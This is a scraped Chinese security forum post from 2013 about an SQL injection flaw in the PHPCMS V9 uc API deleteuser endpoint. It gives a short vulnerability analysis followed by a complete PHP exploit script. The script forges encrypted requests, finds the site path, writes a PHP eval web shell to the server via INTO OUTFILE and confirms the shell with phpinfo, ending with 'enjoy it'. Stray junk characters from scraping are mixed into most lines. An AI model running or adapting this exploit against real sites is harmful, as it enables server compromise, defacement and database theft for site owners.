找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2160|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。- h; n8 T- |3 m, _

1 H& C$ _5 X9 w7 j所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。2 k" m; ^" j' h* t- j7 Z- G
9 e, {$ \% J% [, w* c
漏洞分析:
" }/ W6 \! r4 h' N1.未启用ucenter服务的情况下uc_key为空
7 p, S, c3 h: L8 Mdefine('UC_KEY', pc_base::load_config('system', 'uc_key'));3 ^5 j. @( Z1 |2 b( A/ F4 J
2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
) I& a2 o) H# w    public function deleteuser($get,$post) {
- M. k+ G. u4 C! n/ `+ [+ }        pc_base::load_app_func('global', 'admin');
! \- Y- J) b+ ?+ [/ J0 S        pc_base::load_app_class('messagequeue', 'admin' , 0);
; X' X6 A) \) q( P- w# g* t6 R# b8 e        $ids = new_stripslashes($get['ids']);
5 ~% a4 b/ q# }$ A3 M* F        $s = $this->member_db->select("ucuserid in ($ids)", "uid");8 C0 Z/ y. m" q: _0 i
SQL语句为6 w& N' T1 q# D. G7 {# D
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)7 b: T1 e$ x2 ~; M* F8 C( m, e) }. O

; H$ M% B7 Y3 V+ R& W6 J利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell& W; d8 H, s6 G" y* @
<?php
' I( i. P" l# x- q% k* x9 W' Z8 l4 nprint_r('3 L- m" y( @5 Z* ~1 D2 N
---------------------------------------------------------------------------
9 }" Q) i* m! m$ `PHPcms (v9 or Old Version) uc api sql injection 0day  k1 R$ `: m* d+ D
by rayh4c#80sec.com
( p% x' s- t1 M# |" V9 B+ ~& ]" G---------------------------------------------------------------------------  M3 _# L# C9 j6 i; E9 s* e+ s
');
* {' i+ h* f6 J2 X' a# m  i/ B- x! E! j% R! n% k
if ($argc<3) {1 o! Q2 S' I, i. K
    print_r('8 ]/ G# t" \9 c% Y3 ~# W9 ]
---------------------------------------------------------------------------0 S, W2 e; \; ~* c! S* U
Usage: php '.$argv[0].' host path OPTIONS
. @7 E2 N; K4 ohost:      target server (ip/hostname)
) M9 `9 y+ p+ S4 Dpath:      path to phpcms
4 v" f0 u0 C9 R* g4 AOptions:6 A" R% c5 r. M
-p[port]:    specify a port other than 802 |3 ?& m- T4 G/ n0 T
-P[ip:port]: specify a proxy8 @- X$ ~% ~# I
Example:9 [9 Y. q' v4 M; s$ K
php '.$argv[0].' localhost /
3 N& X; v3 z( n% Y7 C6 J! |: O' ophp '.$argv[0].' localhost /phpcms/ -p818 W8 C9 @& M' M' M3 E9 h0 a9 C
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
0 H6 h' y8 I( u" |; e& O: x. v2 F, D---------------------------------------------------------------------------
& Y( c# E* H7 T/ o* O$ T4 o, c5 W');8 j& _$ r& O* a2 ^/ ]( p, a3 j8 C
    die;
+ ~8 A1 Q" g5 ^0 g& V& u& r1 n5 m}
2 b3 `1 P  w' S! C; \  }
0 l( R- p8 w& x3 R. lerror_reporting(7);
  z# s8 a! x- @; K; b  d* q- mini_set("max_execution_time",0);
7 F! Q( L# z* d5 }. kini_set("default_socket_timeout",5);
# j! [- N9 l) L: ~$ O5 a
) `8 x: K2 k' H6 e' j8 Gfunction quick_dump($string): Z! @5 g. Y* @3 G' E& U' K( y% {/ u
{$ C9 }; k( [2 h5 x9 J  [
  $result='';$exa='';$cont=0;  N0 d7 i1 S* \3 S$ u% ^: ~: h- y
  for ($i=0; $i<=strlen($string)-1; $i++)/ N5 k9 _. {4 r. s. j* w
  {0 V2 o3 w% R$ c* X% h! m
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))3 i9 ?; M, m% s# Y
   {$result.="  .";}
" i" t, [4 S, s$ C* Z3 o: z2 H   else9 \0 w. W" Y. f3 ?
   {$result.="  ".$string[$i];}
. o/ k* s" _& [- [; |% q) Z   if (strlen(dechex(ord($string[$i])))==2)- q9 Z' Q/ L5 w7 |  d6 @0 K" [
   {$exa.=" ".dechex(ord($string[$i]));}' V0 ^  c. P$ `& F& H
   else# ]  `9 E* Y8 E6 P
   {$exa.=" 0".dechex(ord($string[$i]));}
4 h  z! ]8 }% }+ k/ w6 q   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
( e8 B6 p* W& ~" V  }3 N/ j: q! l4 Y; W
return $exa."\r\n".$result;
5 S2 {5 i3 W0 B; U/ v2 o! u  V}( ~+ g4 ?" I/ y$ I0 O
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
6 W+ A# i, a4 b+ A6 K5 U$ Q. R4 @  S8 q' ^
function send($packet)9 i$ K) o7 z" j9 U
{
2 e; x& o* a5 T9 y3 b  global $proxy, $host, $port, $html, $proxy_regex;: T, V) @3 {+ i) ?# [4 s
  if ($proxy=='') {" a% v' Y' c' [* b
    $ock=fsockopen(gethostbyname($host),$port);
* W. Y# P/ Y/ ]1 l" s- A! u' x    if (!$ock) {
) H/ `- w2 f& F: O- G" z- [6 J      echo 'No response from '.$host.':'.$port; die;  r$ [/ q$ {* ]
    }( A% s4 Q6 o5 I9 J; x- s* }
  }
. Y9 Q$ F9 U# s& ?  else {! w  ]" {$ ]3 n/ ^2 s3 f
        $c = preg_match($proxy_regex,$proxy);' G# W' F: b7 P$ w. f
    if (!$c) {. ~$ b2 y3 x# q' T
      echo 'Not a valid proxy...';die;) \1 o6 `8 q9 q$ ^8 `1 u
    }
4 m5 L8 A, _! k3 G& L5 {5 Q- {    $parts=explode(':',$proxy);% V/ W( [/ D7 b% ~* b
    $parts[1]=(int)$parts[1];
4 o) t6 ~9 u( ?8 z: G    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";/ F2 m5 Y# Y2 t0 h  ^% |
    $ock=fsockopen($parts[0],$parts[1]);
+ E/ j7 e6 @' T5 H% c+ P    if (!$ock) {8 S( e8 ]/ x/ J# K
      echo 'No response from proxy...';die;
. H2 F1 \( X4 T; G8 [* U        }5 {  o1 m! W. G6 ~/ a
  }1 u: ~8 w5 X* v, W/ n
  fputs($ock,$packet);- H3 x" d! K; ]4 J8 S
  if ($proxy=='') {# A8 b- u& p$ z: |; u3 e9 A0 F0 g
    $html='';$ \. c* R6 j& e% y- G
    while (!feof($ock)) {' i% @* X5 K* w8 o: X+ T% l
      $html.=fgets($ock);; l1 D0 ^: v! B: B
    }5 y  _6 W: G" Z( ~" _2 [
  }
! ~& U) }0 m5 M' d9 d  ~  else {- D1 Z: n, S; Q$ U2 c9 p
    $html='';
& y" n/ A: U; Q0 z4 Z" Y    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {; e' V+ w( I+ C7 S, u! U! m7 I
      $html.=fread($ock,1);
9 _  U. _7 L8 i& u" {9 R/ a9 [    }
% Y  Q1 P/ x- v  }6 e9 Y* F) M9 \, ]& p7 ^
  fclose($ock);" d; L1 `3 ^' ^$ \
}
5 B' O' k9 i( H" t8 K. r! ~! o& h0 y* I2 b5 w
$host=$argv[1];
1 V( s" ]( l, y( S, I9 t6 U$path=$argv[2];7 p7 M5 F/ S* H0 J$ x. |1 D4 ~
$port=80;+ ^' w+ v6 ~  w$ {2 r
$proxy="";" W; z  l7 z: u- T
for ($i=3; $i<$argc; $i++){+ [, h* z+ ^! Z2 X+ Z4 Y$ {7 L
$temp=$argv[$i][0].$argv[$i][1];# e3 U6 F+ Q+ H
if ($temp=="-p")
/ C* z' r/ K! {5 F' A( b3 q{
* T' n  r0 I. ^' o0 ]/ Q  $port=(int)str_replace("-p","",$argv[$i]);
& j, \& M+ S, O2 V}4 D/ v2 X4 l6 y4 i) l
if ($temp=="-P")
* D1 `. F# S* n  E. F. C{
0 g% N9 S$ e5 r4 R; Q  Z4 y  $proxy=str_replace("-P","",$argv[$i]);/ M2 U6 n+ }- H, b4 |& U8 Y0 b
}- K2 P# D2 g8 D( A* Q
}( H( T1 @9 q( L* F

; T# h$ ]" Q+ K% ?9 v( ?/ Hif (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}8 {: S1 N0 S1 E( I$ s( S. D7 `
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
0 }! {# D" f, k7 @' b  [6 `% w. H; q8 N  A# }. V0 B4 i; \
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
7 g) [5 F2 Y3 S4 E
' A6 {0 s  j: L" y  @- Q: @    $ckey_length = 4;
0 i* r- f' b0 `; ]/ q2 R$ T0 N! E( x" @! F
    $key = md5($key ? $key : '');3 N" I0 A! U' W+ K# |, ^
    $keya = md5(substr($key, 0, 16));
' e+ W- w, H9 ^  ~    $keyb = md5(substr($key, 16, 16));. n% z7 ~( r+ e& |% `6 q
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';: a7 `  e6 o: U

4 N9 _% c/ B9 i% s$ M    $cryptkey = $keya.md5($keya.$keyc);: G; h& w2 t1 m' b& q. J; \
    $key_length = strlen($cryptkey);
. y+ M/ J3 Q, X# V. B$ m9 u6 J' z0 K* ]- T) j+ c$ ?' k
    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;* [; H) t. H4 S# F
    $string_length = strlen($string);1 d  m9 U8 m: t

9 f! A7 b* ~3 a; e9 h    $result = '';
7 t+ ^- i- z- K* C7 a    $box = range(0, 255);
$ y$ s1 g6 Y5 i0 L& L" v0 `
) N) Q- m7 {1 r3 m    $rndkey = array();
0 y& q/ I* I! l1 T& Z  [7 H9 Q    for($i = 0; $i <= 255; $i++) {
/ w. r3 _. Z+ P1 H" K        $rndkey[$i] = ord($cryptkey[$i % $key_length]);# ~' q. L3 k+ Q8 u
    }0 N/ q/ a7 ]) D1 S- C4 _6 g( u

1 T1 ]+ l. K, q# D    for($j = $i = 0; $i < 256; $i++) {
6 M0 z1 i* }' f1 E3 w; C+ g        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
# Y$ h# @  R- n4 h) N( H        $tmp = $box[$i];, [: m5 w& U0 |4 A6 C, f( M
        $box[$i] = $box[$j];$ {" X9 j* \6 b
        $box[$j] = $tmp;8 ]- q9 h# u) N( n
    }
" O1 A) x1 m) |9 ]( h5 d- h& ]2 T; `% m, x- ]
    for($a = $j = $i = 0; $i < $string_length; $i++) {6 Z& g* L7 Y( K, z+ W8 f, N/ ^3 M/ _
        $a = ($a + 1) % 256;2 C# S* _9 n8 X& _7 d
        $j = ($j + $box[$a]) % 256;( Y7 n; g1 K( e( l- ]
        $tmp = $box[$a];
7 I4 y! ?* o  U0 ^        $box[$a] = $box[$j];2 D7 R1 S& |, r4 o# D3 f% P
        $box[$j] = $tmp;8 J8 q1 w+ {! k
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));, Q; C5 G. L1 {* D1 ?* f
    }' g/ o' n3 ]# l0 C' K) w: u
4 v/ a( Q/ k* j( Y; u: D7 H2 W& ]
    if($operation == 'DECODE') {
# f' \5 [3 B8 U8 p# n. v        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {$ n) E/ H( L  c1 P4 \$ M
            return substr($result, 26);
, l! G2 ~* j# k) w        } else {
4 k- T7 K6 v" z7 ~1 y' C' P            return '';
/ b: o% W) X" a+ @        }7 R: Q; I1 C" T) K/ u6 M3 W
    } else {, z$ N9 [# f4 y* x4 U; b5 M0 u1 E9 |
        return $keyc.str_replace('=', '', base64_encode($result));
, C" c3 H; o% Y& t( q6 f    }
0 a/ A  [: C1 z: q! L* Q- n% j8 K# p2 b: U4 u. T" m- |4 \6 l' V1 D
}9 U: x" `; {8 Z/ A6 \" m
/ D+ }5 t- V4 z2 [: Q7 ~
$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
  i* r# L% |" e; p- Q) k$SQL = urlencode(authcode($SQL, "ENCODE", ""));9 D4 i7 z* E0 I0 q2 x
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";  \0 L/ U8 B5 ~5 ^
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";9 u; R! N' @: q' }$ v% |  c
$packet.="User-Agent: Mozilla/5.0\r\n";
5 ~2 J& T& J6 c) T6 c( O$packet.="Host: ".$host."\r\n";8 u" V) B/ b  Z, P
$packet.="Connection: Close\r\n\r\n";7 F( l6 G. u. A2 g$ D* g
send($packet);7 D- A0 o2 G/ x; w
if(strpos($html,"MySQL Errno") > 0){# z7 O: b& i: B
echo "[2] 发现存在SQL注入漏洞"."\n";1 T' _( k1 ~" j, E# _1 `
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";) j) U% }! B- \
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
* J+ G5 r1 F  o  N, \! ~1 X) d$packet.="User-Agent: Mozilla/5.0\r\n";
& c4 |3 x$ _7 _% q0 R6 N$packet.="Host: ".$host."\r\n";
$ L2 B( H" B$ x: l) X; {$packet.="Connection: Close\r\n\r\n";
% C+ h2 v0 h( B+ P# q5 zsend($packet);
% ^, i7 `8 k4 M. ?, E3 rpreg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
& x8 N8 M  a7 Y- G/ _//print_r($matches);
3 D. ]) t3 a; |) A# R9 ^% B& Lif(!empty($matches)){) l, c5 Y  f; I
echo "[4] 得到web路径 " . $matches[0]."\n";
6 n) ~7 ^  r* Y3 B: [* m# wecho "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
2 y# h" e' R; X. Z! S# o$SQL = "time=999999999999999999999999&ids=1)";
% L% f3 w3 Z) E. E" e9 T8 x8 V$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
& z/ Z, |+ H* W$SQL.="&action=deleteuser";
; I8 }" e; `1 j$SQL = urlencode(authcode($SQL, "ENCODE", ""));4 d+ X6 S/ w. M, v
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
: z. Y: ~4 E3 u5 b5 O/ ?$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
- }9 y' _/ f, |: i  F7 q$packet.="User-Agent: Mozilla/5.0\r\n";
0 f. I1 H9 |3 l. {+ P$packet.="Host: ".$host."\r\n";1 O. C5 D* a# Z4 Q9 ~" ]: Z( u' N7 H
$packet.="Connection: Close\r\n\r\n";; n0 B0 U. N8 Z# G, H. O- g2 P; i
send($packet);
& i! ]0 V# P8 X1 R# e3 ^" Xif(strpos($html,"Access denied") > 0){
- ~5 M+ _& H/ D) x) z- D! Zecho "[-] MYSQL权限过低 禁止写入文件 ";
; G% ?  M% N0 G/ k! {' F: D6 Idie;
* Y6 I% F: l# W4 S) L}7 R" |, h5 O/ H% b; W
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";/ K) B& R- q' i" X! ?7 ]
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";% ?9 k) h+ L, l- i' I/ D
$packet.="User-Agent: Mozilla/5.0\r\n";9 Y# `, k0 r* T- D
$packet.="Host: ".$host."\r\n";0 I' @6 [9 k+ ?  w
$packet.="Connection: Close\r\n\r\n";" t. G7 u: ]! d7 v: A
send($packet);
# B: G! ^. e- S/ z# U8 o; ]if(strpos($html,"<title>phpinfo()</title>") > 0){0 w5 }4 P- ^) }0 m
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";6 ?4 h' G5 m% Q# u. Q) _
}
8 ^2 T0 G% v+ s- m5 k: a}else{
0 Q0 m8 }( O% {7 K) R6 Uecho "[-]未取到web路径 ";
: ~9 h' p/ P) n7 e}) F3 y; H' L+ r7 x/ E; l
}else{
% [- \0 b: x2 V: D7 gecho "[*]不存在SQL注入漏洞"."\n";( `+ K& v/ Z! X. d  g2 O
}0 g. o: `3 F- H% G( k

; ?* Z$ v  U2 w& ^7 r( V; q$ C?>! Y/ k6 n5 t0 a4 ~7 ~; i( ~
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表